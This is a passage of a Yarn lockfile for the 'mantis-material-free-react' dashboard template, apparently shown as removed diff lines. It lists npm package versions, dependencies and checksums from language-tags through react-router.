10c0/e9b05190421d2cd36dd6c95c28673019c927947cb6d94f40ba7e77a838629ee9675c94accf897fbebb07923187deb843b8fbb8935762df6edafe6c28dcb0b86c - languageName: node - linkType: hard - -"language-tags@npm:^1.0.9": - version: 1.0.9 - resolution: "language-tags@npm:1.0.9" - dependencies: - language-subtag-registry: "npm:^0.3.20" - checksum: 10c0/9ab911213c4bd8bd583c850201c17794e52cb0660d1ab6e32558aadc8324abebf6844e46f92b80a5d600d0fbba7eface2c207bfaf270a1c7fd539e4c3a880bff - languageName: node - linkType: hard - -"levn@npm:^0.4.1": - version: 0.4.1 - resolution: "levn@npm:0.4.1" - dependencies: - prelude-ls: "npm:^1.2.1" - type-check: "npm:~0.4.0" - checksum: 10c0/effb03cad7c89dfa5bd4f6989364bfc79994c2042ec5966cb9b95990e2edee5cd8969ddf42616a0373ac49fac1403437deaf6e9050fbbaa3546093a59b9ac94e - languageName: node - linkType: hard - -"lines-and-columns@npm:^1.1.6": - version: 1.2.4 - resolution: "lines-and-columns@npm:1.2.4" - checksum: 10c0/3da6ee62d4cd9f03f5dc90b4df2540fb85b352081bee77fe4bbcd12c9000ead7f35e0a38b8d09a9bb99b13223446dd8689ff3c4959807620726d788701a83d2d - languageName: node - linkType: hard - -"locate-path@npm:^6.0.0": - version: 6.0.0 - resolution: "locate-path@npm:6.0.0" - dependencies: - p-locate: "npm:^5.0.0" - checksum: 10c0/d3972ab70dfe58ce620e64265f90162d247e87159b6126b01314dd67be43d50e96a50b517bce2d9452a79409c7614054c277b5232377de50416564a77ac7aad3 - languageName: node - linkType: hard - -"lodash-es@npm:4.17.23, lodash-es@npm:^4.17.21": - version: 4.17.23 - resolution: "lodash-es@npm:4.17.23" - checksum: 10c0/3150fb6660c14c7a6b5f23bd11597d884b140c0e862a17fdb415aaa5ef7741523182904a6b7929f04e5f60a11edb5a79499eb448734381c99ffb3c4734beeddd - languageName: node - linkType: hard - -"lodash@npm:^4.17.21": - version: 4.17.23 - resolution: "lodash@npm:4.17.23" - checksum: 10c0/1264a90469f5bb95d4739c43eb6277d15b6d9e186df4ac68c3620443160fc669e2f14c11e7d8b2ccf078b81d06147c01a8ccced9aab9f9f63d50dcf8cace6bf6 - languageName: node - linkType: hard - -"loose-envify@npm:^1.4.0": - version: 1.4.0 - resolution: "loose-envify@npm:1.4.0" - dependencies: - js-tokens: "npm:^3.0.0 || ^4.0.0" - bin: - loose-envify: cli.js - checksum: 10c0/655d110220983c1a4b9c0c679a2e8016d4b67f6e9c7b5435ff5979ecdb20d0813f4dec0a08674fcbdd4846a3f07edbb50a36811fd37930b94aaa0d9daceb017e - languageName: node - linkType: hard - -"lru-cache@npm:^11.0.0, lru-cache@npm:^11.1.0, lru-cache@npm:^11.2.1": - version: 11.2.6 - resolution: "lru-cache@npm:11.2.6" - checksum: 10c0/73bbffb298760e71b2bfe8ebc16a311c6a60ceddbba919cfedfd8635c2d125fbfb5a39b71818200e67973b11f8d59c5a9e31d6f90722e340e90393663a66e5cd - languageName: node - linkType: hard - -"lru-cache@npm:^5.1.1": - version: 5.1.1 - resolution: "lru-cache@npm:5.1.1" - dependencies: - yallist: "npm:^3.0.2" - checksum: 10c0/89b2ef2ef45f543011e38737b8a8622a2f8998cddf0e5437174ef8f1f70a8b9d14a918ab3e232cb3ba343b7abddffa667f0b59075b2b80e6b4d63c3de6127482 - languageName: node - linkType: hard - -"make-fetch-happen@npm:^15.0.0": - version: 15.0.3 - resolution: "make-fetch-happen@npm:15.0.3" - dependencies: - "@npmcli/agent": "npm:^4.0.0" - cacache: "npm:^20.0.1" - http-cache-semantics: "npm:^4.1.1" - minipass: "npm:^7.0.2" - minipass-fetch: "npm:^5.0.0" - minipass-flush: "npm:^1.0.5" - minipass-pipeline: "npm:^1.2.4" - negotiator: "npm:^1.0.0" - proc-log: "npm:^6.0.0" - promise-retry: "npm:^2.0.1" - ssri: "npm:^13.0.0" - checksum: 10c0/525f74915660be60b616bcbd267c4a5b59481b073ba125e45c9c3a041bb1a47a2bd0ae79d028eb6f5f95bf9851a4158423f5068539c3093621abb64027e8e461 - languageName: node - linkType: hard - -"mantis-material-free-react@workspace:.": - version: 0.0.0-use.local - resolution: "mantis-material-free-react@workspace:." - dependencies: - "@ant-design/colors": "npm:8.0.1" - "@ant-design/icons": "npm:6.1.0" - "@emotion/cache": "npm:11.14.0" - "@emotion/react": "npm:11.14.0" - "@emotion/styled": "npm:11.14.1" - "@eslint/compat": "npm:2.0.2" - "@eslint/eslintrc": "npm:3.3.3" - "@eslint/js": "npm:10.0.1" - "@fontsource/public-sans": "npm:5.2.7" - "@mui/base": "npm:5.0.0-beta.70" - "@mui/lab": "npm:7.0.1-beta.22" - "@mui/material": "npm:7.3.8" - "@mui/system": "npm:7.3.8" - "@mui/x-charts": "npm:8.27.0" - "@vitejs/plugin-react": "npm:5.1.4" - eslint: "npm:10.0.0" - eslint-config-prettier: "npm:10.1.8" - eslint-plugin-jsx-a11y: "npm:6.10.2" - eslint-plugin-prettier: "npm:5.5.5" - eslint-plugin-react: "npm:7.37.5" - eslint-plugin-react-hooks: "npm:7.0.1" - formik: "npm:2.4.9" - framer-motion: "npm:12.34.2" - lodash-es: "npm:4.17.23" - prettier: "npm:3.8.1" - react: "npm:19.2.4" - react-device-detect: "npm:2.2.3" - react-dom: "npm:19.2.4" - react-number-format: "npm:5.4.4" - react-router: "npm:7.13.0" - react-router-dom: "npm:7.13.0" - simplebar-react: "npm:3.3.2" - swr: "npm:2.4.0" - vite: "npm:7.3.1" - vite-jsconfig-paths: "npm:2.0.1" - web-vitals: "npm:5.1.0" - yup: "npm:1.7.1" - languageName: unknown - linkType: soft - -"math-intrinsics@npm:^1.1.0": - version: 1.1.0 - resolution: "math-intrinsics@npm:1.1.0" - checksum: 10c0/7579ff94e899e2f76ab64491d76cf606274c874d8f2af4a442c016bd85688927fcfca157ba6bf74b08e9439dc010b248ce05b96cc7c126a354c3bae7fcb48b7f - languageName: node - linkType: hard - -"minimatch@npm:^10.1.1, minimatch@npm:^10.2.1, minimatch@npm:^10.2.2": - version: 10.2.2 - resolution: "minimatch@npm:10.2.2" - dependencies: - brace-expansion: "npm:^5.0.2" - checksum: 10c0/098831f2f542cb802e1f249c809008a016e1fef6b3a9eda9cf9ecb2b3d7979083951bd47c0c82fcf34330bd3b36638a493d4fa8e24cce58caf5b481de0f4e238 - languageName: node - linkType: hard - -"minimatch@npm:^3.1.2": - version: 3.1.3 - resolution: "minimatch@npm:3.1.3" - dependencies: - brace-expansion: "npm:^1.1.7" - checksum: 10c0/c1ffce4be47e88df013f66f55176c25a93fdd8ad15735309cf1782f0433a02f363cee298f8763ceaaaf85e70ff7f30dc84a1a8d00a6fb6ca72032e5b51f9b89c - languageName: node - linkType: hard - -"minimist@npm:^1.2.0, minimist@npm:^1.2.6": - version: 1.2.8 - resolution: "minimist@npm:1.2.8" - checksum: 10c0/19d3fcdca050087b84c2029841a093691a91259a47def2f18222f41e7645a0b7c44ef4b40e88a1e58a40c84d2ef0ee6047c55594d298146d0eb3f6b737c20ce6 - languageName: node - linkType: hard - -"minipass-collect@npm:^2.0.1": - version: 2.0.1 - resolution: "minipass-collect@npm:2.0.1" - dependencies: - minipass: "npm:^7.0.3" - checksum: 10c0/5167e73f62bb74cc5019594709c77e6a742051a647fe9499abf03c71dca75515b7959d67a764bdc4f8b361cf897fbf25e2d9869ee039203ed45240f48b9aa06e - languageName: node - linkType: hard - -"minipass-fetch@npm:^5.0.0": - version: 5.0.1 - resolution: "minipass-fetch@npm:5.0.1" - dependencies: - encoding: "npm:^0.1.13" - minipass: "npm:^7.0.3" - minipass-sized: "npm:^2.0.0" - minizlib: "npm:^3.0.1" - dependenciesMeta: - encoding: - optional: true - checksum: 10c0/50bcf48c9841ebb25e29a2817468595219c72cfffc7c175a1d7327843c8bef9b72cb01778f46df7eca695dfe47ab98e6167af4cb026ddd80f660842919a5193c - languageName: node - linkType: hard - -"minipass-flush@npm:^1.0.5": - version: 1.0.5 - resolution: "minipass-flush@npm:1.0.5" - dependencies: - minipass: "npm:^3.0.0" - checksum: 10c0/2a51b63feb799d2bb34669205eee7c0eaf9dce01883261a5b77410c9408aa447e478efd191b4de6fc1101e796ff5892f8443ef20d9544385819093dbb32d36bd - languageName: node - linkType: hard - -"minipass-pipeline@npm:^1.2.4": - version: 1.2.4 - resolution: "minipass-pipeline@npm:1.2.4" - dependencies: - minipass: "npm:^3.0.0" - checksum: 10c0/cbda57cea20b140b797505dc2cac71581a70b3247b84480c1fed5ca5ba46c25ecc25f68bfc9e6dcb1a6e9017dab5c7ada5eab73ad4f0a49d84e35093e0c643f2 - languageName: node - linkType: hard - -"minipass-sized@npm:^2.0.0": - version: 2.0.0 - resolution: "minipass-sized@npm:2.0.0" - dependencies: - minipass: "npm:^7.1.2" - checksum: 10c0/f9201696a6f6d68610d04c9c83e3d2e5cb9c026aae1c8cbf7e17f386105cb79c1bb088dbc21bf0b1eb4f3fb5df384fd1e7aa3bf1f33868c416ae8c8a92679db8 - languageName: node - linkType: hard - -"minipass@npm:^3.0.0": - version: 3.3.6 - resolution: "minipass@npm:3.3.6" - dependencies: - yallist: "npm:^4.0.0" - checksum: 10c0/a114746943afa1dbbca8249e706d1d38b85ed1298b530f5808ce51f8e9e941962e2a5ad2e00eae7dd21d8a4aae6586a66d4216d1a259385e9d0358f0c1eba16c - languageName: node - linkType: hard - -"minipass@npm:^7.0.2, minipass@npm:^7.0.3, minipass@npm:^7.0.4, minipass@npm:^7.1.2, minipass@npm:^7.1.3": - version: 7.1.3 - resolution: "minipass@npm:7.1.3" - checksum: 10c0/539da88daca16533211ea5a9ee98dc62ff5742f531f54640dd34429e621955e91cc280a91a776026264b7f9f6735947629f920944e9c1558369e8bf22eb33fbb - languageName: node - linkType: hard - -"minizlib@npm:^3.0.1, minizlib@npm:^3.1.0": - version: 3.1.0 - resolution: "minizlib@npm:3.1.0" - dependencies: - minipass: "npm:^7.1.2" - checksum: 10c0/5aad75ab0090b8266069c9aabe582c021ae53eb33c6c691054a13a45db3b4f91a7fb1bd79151e6b4e9e9a86727b522527c0a06ec7d45206b745d54cd3097bcec - languageName: node - linkType: hard - -"motion-dom@npm:^12.34.2": - version: 12.34.3 - resolution: "motion-dom@npm:12.34.3" - dependencies: - motion-utils: "npm:^12.29.2" - checksum: 10c0/9a336be96dbb24a2ea3cafe401043553bc326274d118b86d6414e505cd394f26c071cd420d2e71c2cf19e76abc89bfdac4a7c5c1b3842eca56b11d6b8687dfdc - languageName: node - linkType: hard - -"motion-utils@npm:^12.29.2": - version: 12.29.2 - resolution: "motion-utils@npm:12.29.2" - checksum: 10c0/8058fbb3467602e8263a8a6df0e5d318d00d30d7148415d2ebc13c78a3c7a1b0cbec0808bb62e82c34714979ecbed15b9fffb91bde654dbf3602c84b7d66a5b6 - languageName: node - linkType: hard - -"ms@npm:^2.1.3": - version: 2.1.3 - resolution: "ms@npm:2.1.3" - checksum: 10c0/d924b57e7312b3b63ad21fc5b3dc0af5e78d61a1fc7cfb5457edaf26326bf62be5307cc87ffb6862ef1c2b33b0233cdb5d4f01c4c958cc0d660948b65a287a48 - languageName: node - linkType: hard - -"mz@npm:^2.7.0": - version: 2.7.0 - resolution: "mz@npm:2.7.0" - dependencies: - any-promise: "npm:^1.0.0" - object-assign: "npm:^4.0.1" - thenify-all: "npm:^1.0.0" - checksum: 10c0/103114e93f87362f0b56ab5b2e7245051ad0276b646e3902c98397d18bb8f4a77f2ea4a2c9d3ad516034ea3a56553b60d3f5f78220001ca4c404bd711bd0af39 - languageName: node - linkType: hard - -"nanoid@npm:^3.3.11": - version: 3.3.11 - resolution: "nanoid@npm:3.3.11" - bin: - nanoid: bin/nanoid.cjs - checksum: 10c0/40e7f70b3d15f725ca072dfc4f74e81fcf1fbb02e491cf58ac0c79093adc9b0a73b152bcde57df4b79cd097e13023d7504acb38404a4da7bc1cd8e887b82fe0b - languageName: node - linkType: hard - -"natural-compare@npm:^1.4.0": - version: 1.4.0 - resolution: "natural-compare@npm:1.4.0" - checksum: 10c0/f5f9a7974bfb28a91afafa254b197f0f22c684d4a1731763dda960d2c8e375b36c7d690e0d9dc8fba774c537af14a7e979129bca23d88d052fbeb9466955e447 - languageName: node - linkType: hard - -"negotiator@npm:^1.0.0": - version: 1.0.0 - resolution: "negotiator@npm:1.0.0" - checksum: 10c0/4c559dd52669ea48e1914f9d634227c561221dd54734070791f999c52ed0ff36e437b2e07d5c1f6e32909fc625fe46491c16e4a8f0572567d4dd15c3a4fda04b - languageName: node - linkType: hard - -"node-exports-info@npm:^1.6.0": - version: 1.6.0 - resolution: "node-exports-info@npm:1.6.0" - dependencies: - array.prototype.flatmap: "npm:^1.3.3" - es-errors: "npm:^1.3.0" - object.entries: "npm:^1.1.9" - semver: "npm:^6.3.1" - checksum: 10c0/3613f21c60b047e66f168d3499a6be0060d89fb01ddceaa7032c2fb318aff12e4b9b111449c1a9aeb3b848bfdc1d4b6bc8fab327af692319597d21a1e7063692 - languageName: node - linkType: hard - -"node-gyp@npm:latest": - version: 12.2.0 - resolution: "node-gyp@npm:12.2.0" - dependencies: - env-paths: "npm:^2.2.0" - exponential-backoff: "npm:^3.1.1" - graceful-fs: "npm:^4.2.6" - make-fetch-happen: "npm:^15.0.0" - nopt: "npm:^9.0.0" - proc-log: "npm:^6.0.0" - semver: "npm:^7.3.5" - tar: "npm:^7.5.4" - tinyglobby: "npm:^0.2.12" - which: "npm:^6.0.0" - bin: - node-gyp: bin/node-gyp.js - checksum: 10c0/3ed046746a5a7d90950cd8b0547332b06598443f31fe213ef4332a7174c7b7d259e1704835feda79b87d3f02e59d7791842aac60642ede4396ab25fdf0f8f759 - languageName: node - linkType: hard - -"node-releases@npm:^2.0.27": - version: 2.0.27 - resolution: "node-releases@npm:2.0.27" - checksum: 10c0/f1e6583b7833ea81880627748d28a3a7ff5703d5409328c216ae57befbced10ce2c991bea86434e8ec39003bd017f70481e2e5f8c1f7e0a7663241f81d6e00e2 - languageName: node - linkType: hard - -"nopt@npm:^9.0.0": - version: 9.0.0 - resolution: "nopt@npm:9.0.0" - dependencies: - abbrev: "npm:^4.0.0" - bin: - nopt: bin/nopt.js - checksum: 10c0/1822eb6f9b020ef6f7a7516d7b64a8036e09666ea55ac40416c36e4b2b343122c3cff0e2f085675f53de1d2db99a2a89a60ccea1d120bcd6a5347bf6ceb4a7fd - languageName: node - linkType: hard - -"object-assign@npm:^4.0.1, object-assign@npm:^4.1.1": - version: 4.1.1 - resolution: "object-assign@npm:4.1.1" - checksum: 10c0/1f4df9945120325d041ccf7b86f31e8bcc14e73d29171e37a7903050e96b81323784ec59f93f102ec635bcf6fa8034ba3ea0a8c7e69fa202b87ae3b6cec5a414 - languageName: node - linkType: hard - -"object-inspect@npm:^1.13.3, object-inspect@npm:^1.13.4": - version: 1.13.4 - resolution: "object-inspect@npm:1.13.4" - checksum: 10c0/d7f8711e803b96ea3191c745d6f8056ce1f2496e530e6a19a0e92d89b0fa3c76d910c31f0aa270432db6bd3b2f85500a376a83aaba849a8d518c8845b3211692 - languageName: node - linkType: hard - -"object-keys@npm:^1.1.1": - version: 1.1.1 - resolution: "object-keys@npm:1.1.1" - checksum: 10c0/b11f7ccdbc6d406d1f186cdadb9d54738e347b2692a14439ca5ac70c225fa6db46db809711b78589866d47b25fc3e8dee0b4c722ac751e11180f9380e3d8601d - languageName: node - linkType: hard - -"object.assign@npm:^4.1.4, object.assign@npm:^4.1.7": - version: 4.1.7 - resolution: "object.assign@npm:4.1.7" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.3" - define-properties: "npm:^1.2.1" - es-object-atoms: "npm:^1.0.0" - has-symbols: "npm:^1.1.0" - object-keys: "npm:^1.1.1" - checksum: 10c0/3b2732bd860567ea2579d1567525168de925a8d852638612846bd8082b3a1602b7b89b67b09913cbb5b9bd6e95923b2ae73580baa9d99cb4e990564e8cbf5ddc - languageName: node - linkType: hard - -"object.entries@npm:^1.1.9": - version: 1.1.9 - resolution: "object.entries@npm:1.1.9" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.4" - define-properties: "npm:^1.2.1" - es-object-atoms: "npm:^1.1.1" - checksum: 10c0/d4b8c1e586650407da03370845f029aa14076caca4e4d4afadbc69cfb5b78035fd3ee7be417141abdb0258fa142e59b11923b4c44d8b1255b28f5ffcc50da7db - languageName: node - linkType: hard - -"object.fromentries@npm:^2.0.8": - version: 2.0.8 - resolution: "object.fromentries@npm:2.0.8" - dependencies: - call-bind: "npm:^1.0.7" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.2" - es-object-atoms: "npm:^1.0.0" - checksum: 10c0/cd4327e6c3369cfa805deb4cbbe919bfb7d3aeebf0bcaba291bb568ea7169f8f8cdbcabe2f00b40db0c20cd20f08e11b5f3a5a36fb7dd3fe04850c50db3bf83b - languageName: node - linkType: hard - -"object.values@npm:^1.1.6, object.values@npm:^1.2.1": - version: 1.2.1 - resolution: "object.values@npm:1.2.1" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.3" - define-properties: "npm:^1.2.1" - es-object-atoms: "npm:^1.0.0" - checksum: 10c0/3c47814fdc64842ae3d5a74bc9d06bdd8d21563c04d9939bf6716a9c00596a4ebc342552f8934013d1ec991c74e3671b26710a0c51815f0b603795605ab6b2c9 - languageName: node - linkType: hard - -"optionator@npm:^0.9.3": - version: 0.9.4 - resolution: "optionator@npm:0.9.4" - dependencies: - deep-is: "npm:^0.1.3" - fast-levenshtein: "npm:^2.0.6" - levn: "npm:^0.4.1" - prelude-ls: "npm:^1.2.1" - type-check: "npm:^0.4.0" - word-wrap: "npm:^1.2.5" - checksum: 10c0/4afb687a059ee65b61df74dfe87d8d6815cd6883cb8b3d5883a910df72d0f5d029821f37025e4bccf4048873dbdb09acc6d303d27b8f76b1a80dd5a7d5334675 - languageName: node - linkType: hard - -"own-keys@npm:^1.0.1": - version: 1.0.1 - resolution: "own-keys@npm:1.0.1" - dependencies: - get-intrinsic: "npm:^1.2.6" - object-keys: "npm:^1.1.1" - safe-push-apply: "npm:^1.0.0" - checksum: 10c0/6dfeb3455bff92ec3f16a982d4e3e65676345f6902d9f5ded1d8265a6318d0200ce461956d6d1c70053c7fe9f9fe65e552faac03f8140d37ef0fdd108e67013a - languageName: node - linkType: hard - -"p-limit@npm:^3.0.2": - version: 3.1.0 - resolution: "p-limit@npm:3.1.0" - dependencies: - yocto-queue: "npm:^0.1.0" - checksum: 10c0/9db675949dbdc9c3763c89e748d0ef8bdad0afbb24d49ceaf4c46c02c77d30db4e0652ed36d0a0a7a95154335fab810d95c86153105bb73b3a90448e2bb14e1a - languageName: node - linkType: hard - -"p-locate@npm:^5.0.0": - version: 5.0.0 - resolution: "p-locate@npm:5.0.0" - dependencies: - p-limit: "npm:^3.0.2" - checksum: 10c0/2290d627ab7903b8b70d11d384fee714b797f6040d9278932754a6860845c4d3190603a0772a663c8cb5a7b21d1b16acb3a6487ebcafa9773094edc3dfe6009a - languageName: node - linkType: hard - -"p-map@npm:^7.0.2": - version: 7.0.4 - resolution: "p-map@npm:7.0.4" - checksum: 10c0/a5030935d3cb2919d7e89454d1ce82141e6f9955413658b8c9403cfe379283770ed3048146b44cde168aa9e8c716505f196d5689db0ae3ce9a71521a2fef3abd - languageName: node - linkType: hard - -"parent-module@npm:^1.0.0": - version: 1.0.1 - resolution: "parent-module@npm:1.0.1" - dependencies: - callsites: "npm:^3.0.0" - checksum: 10c0/c63d6e80000d4babd11978e0d3fee386ca7752a02b035fd2435960ffaa7219dc42146f07069fb65e6e8bf1caef89daf9af7535a39bddf354d78bf50d8294f556 - languageName: node - linkType: hard - -"parse-json@npm:^5.0.0": - version: 5.2.0 - resolution: "parse-json@npm:5.2.0" - dependencies: - "@babel/code-frame": "npm:^7.0.0" - error-ex: "npm:^1.3.1" - json-parse-even-better-errors: "npm:^2.3.0" - lines-and-columns: "npm:^1.1.6" - checksum: 10c0/77947f2253005be7a12d858aedbafa09c9ae39eb4863adf330f7b416ca4f4a08132e453e08de2db46459256fb66afaac5ee758b44fe6541b7cdaf9d252e59585 - languageName: node - linkType: hard - -"path-exists@npm:^4.0.0": - version: 4.0.0 - resolution: "path-exists@npm:4.0.0" - checksum: 10c0/8c0bd3f5238188197dc78dced15207a4716c51cc4e3624c44fc97acf69558f5ebb9a2afff486fe1b4ee148e0c133e96c5e11a9aa5c48a3006e3467da070e5e1b - languageName: node - linkType: hard - -"path-key@npm:^3.1.0": - version: 3.1.1 - resolution: "path-key@npm:3.1.1" - checksum: 10c0/748c43efd5a569c039d7a00a03b58eecd1d75f3999f5a28303d75f521288df4823bc057d8784eb72358b2895a05f29a070bc9f1f17d28226cc4e62494cc58c4c - languageName: node - linkType: hard - -"path-parse@npm:^1.0.7": - version: 1.0.7 - resolution: "path-parse@npm:1.0.7" - checksum: 10c0/11ce261f9d294cc7a58d6a574b7f1b935842355ec66fba3c3fd79e0f036462eaf07d0aa95bb74ff432f9afef97ce1926c720988c6a7451d8a584930ae7de86e1 - languageName: node - linkType: hard - -"path-scurry@npm:^2.0.2": - version: 2.0.2 - resolution: "path-scurry@npm:2.0.2" - dependencies: - lru-cache: "npm:^11.0.0" - minipass: "npm:^7.1.2" - checksum: 10c0/b35ad37cf6557a87fd057121ce2be7695380c9138d93e87ae928609da259ea0a170fac6f3ef1eb3ece8a068e8b7f2f3adf5bb2374cf4d4a57fe484954fcc9482 - languageName: node - linkType: hard - -"path-type@npm:^4.0.0": - version: 4.0.0 - resolution: "path-type@npm:4.0.0" - checksum: 10c0/666f6973f332f27581371efaf303fd6c272cc43c2057b37aa99e3643158c7e4b2626549555d88626e99ea9e046f82f32e41bbde5f1508547e9a11b149b52387c - languageName: node - linkType: hard - -"picocolors@npm:^1.1.1": - version: 1.1.1 - resolution: "picocolors@npm:1.1.1" - checksum: 10c0/e2e3e8170ab9d7c7421969adaa7e1b31434f789afb9b3f115f6b96d91945041ac3ceb02e9ec6fe6510ff036bcc0bf91e69a1772edc0b707e12b19c0f2d6bcf58 - languageName: node - linkType: hard - -"picomatch@npm:^4.0.3": - version: 4.0.3 - resolution: "picomatch@npm:4.0.3" - checksum: 10c0/9582c951e95eebee5434f59e426cddd228a7b97a0161a375aed4be244bd3fe8e3a31b846808ea14ef2c8a2527a6eeab7b3946a67d5979e81694654f939473ae2 - languageName: node - linkType: hard - -"pirates@npm:^4.0.1": - version: 4.0.7 - resolution: "pirates@npm:4.0.7" - checksum: 10c0/a51f108dd811beb779d58a76864bbd49e239fa40c7984cd11596c75a121a8cc789f1c8971d8bb15f0dbf9d48b76c05bb62fcbce840f89b688c0fa64b37e8478a - languageName: node - linkType: hard - -"possible-typed-array-names@npm:^1.0.0": - version: 1.1.0 - resolution: "possible-typed-array-names@npm:1.1.0" - checksum: 10c0/c810983414142071da1d644662ce4caebce890203eb2bc7bf119f37f3fe5796226e117e6cca146b521921fa6531072674174a3325066ac66fce089a53e1e5196 - languageName: node - linkType: hard - -"postcss@npm:^8.5.6": - version: 8.5.6 - resolution: "postcss@npm:8.5.6" - dependencies: - nanoid: "npm:^3.3.11" - picocolors: "npm:^1.1.1" - source-map-js: "npm:^1.2.1" - checksum: 10c0/5127cc7c91ed7a133a1b7318012d8bfa112da9ef092dddf369ae699a1f10ebbd89b1b9f25f3228795b84585c72aabd5ced5fc11f2ba467eedf7b081a66fad024 - languageName: node - linkType: hard - -"prelude-ls@npm:^1.2.1": - version: 1.2.1 - resolution: "prelude-ls@npm:1.2.1" - checksum: 10c0/b00d617431e7886c520a6f498a2e14c75ec58f6d93ba48c3b639cf241b54232d90daa05d83a9e9b9fef6baa63cb7e1e4602c2372fea5bc169668401eb127d0cd - languageName: node - linkType: hard - -"prettier-linter-helpers@npm:^1.0.1": - version: 1.0.1 - resolution: "prettier-linter-helpers@npm:1.0.1" - dependencies: - fast-diff: "npm:^1.1.2" - checksum: 10c0/91cea965681bc5f62c9d26bd3ca6358b81557261d4802e96ec1cf0acbd99d4b61632d53320cd2c3ec7d7f7805a81345644108a41ef46ddc9688e783a9ac792d1 - languageName: node - linkType: hard - -"prettier@npm:3.8.1": - version: 3.8.1 - resolution: "prettier@npm:3.8.1" - bin: - prettier: bin/prettier.cjs - checksum: 10c0/33169b594009e48f570471271be7eac7cdcf88a209eed39ac3b8d6d78984039bfa9132f82b7e6ba3b06711f3bfe0222a62a1bfb87c43f50c25a83df1b78a2c42 - languageName: node - linkType: hard - -"proc-log@npm:^6.0.0": - version: 6.1.0 - resolution: "proc-log@npm:6.1.0" - checksum: 10c0/4f178d4062733ead9d71a9b1ab24ebcecdfe2250916a5b1555f04fe2eda972a0ec76fbaa8df1ad9c02707add6749219d118a4fc46dc56bdfe4dde4b47d80bb82 - languageName: node - linkType: hard - -"promise-retry@npm:^2.0.1": - version: 2.0.1 - resolution: "promise-retry@npm:2.0.1" - dependencies: - err-code: "npm:^2.0.2" - retry: "npm:^0.12.0" - checksum: 10c0/9c7045a1a2928094b5b9b15336dcd2a7b1c052f674550df63cc3f36cd44028e5080448175b6f6ca32b642de81150f5e7b1a98b728f15cb069f2dd60ac2616b96 - languageName: node - linkType: hard - -"prop-types@npm:^15.6.2, prop-types@npm:^15.8.1": - version: 15.8.1 - resolution: "prop-types@npm:15.8.1" - dependencies: - loose-envify: "npm:^1.4.0" - object-assign: "npm:^4.1.1" - react-is: "npm:^16.13.1" - checksum: 10c0/59ece7ca2fb9838031d73a48d4becb9a7cc1ed10e610517c7d8f19a1e02fa47f7c27d557d8a5702bec3cfeccddc853579832b43f449e54635803f277b1c78077 - languageName: node - linkType: hard - -"property-expr@npm:^2.0.5": - version: 2.0.6 - resolution: "property-expr@npm:2.0.6" - checksum: 10c0/69b7da15038a1146d6447c69c445306f66a33c425271235bb20507f1846dbf9577a8f9dfafe8acbfcb66f924b270157f155248308f026a68758f35fc72265b3c - languageName: node - linkType: hard - -"punycode@npm:^2.1.0": - version: 2.3.1 - resolution: "punycode@npm:2.3.1" - checksum: 10c0/14f76a8206bc3464f794fb2e3d3cc665ae416c01893ad7a02b23766eb07159144ee612ad67af5e84fa4479ccfe67678c4feb126b0485651b302babf66f04f9e9 - languageName: node - linkType: hard - -"react-device-detect@npm:2.2.3": - version: 2.2.3 - resolution: "react-device-detect@npm:2.2.3" - dependencies: - ua-parser-js: "npm:^1.0.33" - peerDependencies: - react: ">= 0.14.0" - react-dom: ">= 0.14.0" - checksum: 10c0/396bbeeab0cb21da084c67434d204c9cf502fad6c683903313084d3f6487950a36a34f9bf67ccf5c1772a1bb5b79a2a4403fcfe6b51d93877db4c2d9f3a3a925 - languageName: node - linkType: hard - -"react-dom@npm:19.2.4": - version: 19.2.4 - resolution: "react-dom@npm:19.2.4" - dependencies: - scheduler: "npm:^0.27.0" - peerDependencies: - react: ^19.2.4 - checksum: 10c0/f0c63f1794dedb154136d4d0f59af00b41907f4859571c155940296808f4b94bf9c0c20633db75b5b2112ec13d8d7dd4f9bf57362ed48782f317b11d05a44f35 - languageName: node - linkType: hard - -"react-fast-compare@npm:^2.0.1": - version: 2.0.4 - resolution: "react-fast-compare@npm:2.0.4" - checksum: 10c0/f0300c677e95198b5f993cbb8a983dab09586157dc678f9e2b5b29ff941b6677a8776fbbdc425ce102fad86937e36bb45cfcfd797f006270b97ccf287ebfb885 - languageName: node - linkType: hard - -"react-is@npm:^16.13.1, react-is@npm:^16.7.0": - version: 16.13.1 - resolution: "react-is@npm:16.13.1" - checksum: 10c0/33977da7a5f1a287936a0c85639fec6ca74f4f15ef1e59a6bc20338fc73dc69555381e211f7a3529b8150a1f71e4225525b41b60b52965bda53ce7d47377ada1 - languageName: node - linkType: hard - -"react-is@npm:^18.2.0": - version: 18.3.1 - resolution: "react-is@npm:18.3.1" - checksum: 10c0/f2f1e60010c683479e74c63f96b09fb41603527cd131a9959e2aee1e5a8b0caf270b365e5ca77d4a6b18aae659b60a86150bb3979073528877029b35aecd2072 - languageName: node - linkType: hard - -"react-is@npm:^19.0.0, react-is@npm:^19.2.3": - version: 19.2.4 - resolution: "react-is@npm:19.2.4" - checksum: 10c0/477a7cfc900f24194606e315fa353856a3a13487ea8eca841678817cad4daef64339ea0d1e84e58459fc75dbe0d9ba00bb0cc626db3d07e0cf31edc64cb4fa37 - languageName: node - linkType: hard - -"react-number-format@npm:5.4.4": - version: 5.4.4 - resolution: "react-number-format@npm:5.4.4" - peerDependencies: - react: ^0.14 || ^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 - react-dom: ^0.14 || ^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 - checksum: 10c0/e55cd16d9f7379a717e77d519db06ed455cc2df9842cd23499b60bc2ba1179df580742e27867a4ae84e0d308b18c0773b7e8943f9162e853f97bd194d15b0de7 - languageName: node - linkType: hard - -"react-refresh@npm:^0.18.0": - version: 0.18.0 - resolution: "react-refresh@npm:0.18.0" - checksum: 10c0/34a262f7fd803433a534f50deb27a148112a81adcae440c7d1cbae7ef14d21ea8f2b3d783e858cb7698968183b77755a38b4d4b5b1d79b4f4689c2f6d358fff2 - languageName: node - linkType: hard - -"react-router-dom@npm:7.13.0": - version: 7.13.0 - resolution: "react-router-dom@npm:7.13.0" - dependencies: - react-router: "npm:7.13.0" - peerDependencies: - react: ">=18" - react-dom: ">=18" - checksum: 10c0/759bd5e7fe7b5baba50a0264724188707682d217cad8eac702a55e0b1abebf295be014dd3bfaff8e3c2def9dfaa23e6ded3f908feab84df766e9b82cc3774e98 - languageName: node - linkType: hard - -"react-router@npm:7.13.0": - version: 7.13.0 - resolution: "react-router@npm:7.13.0" 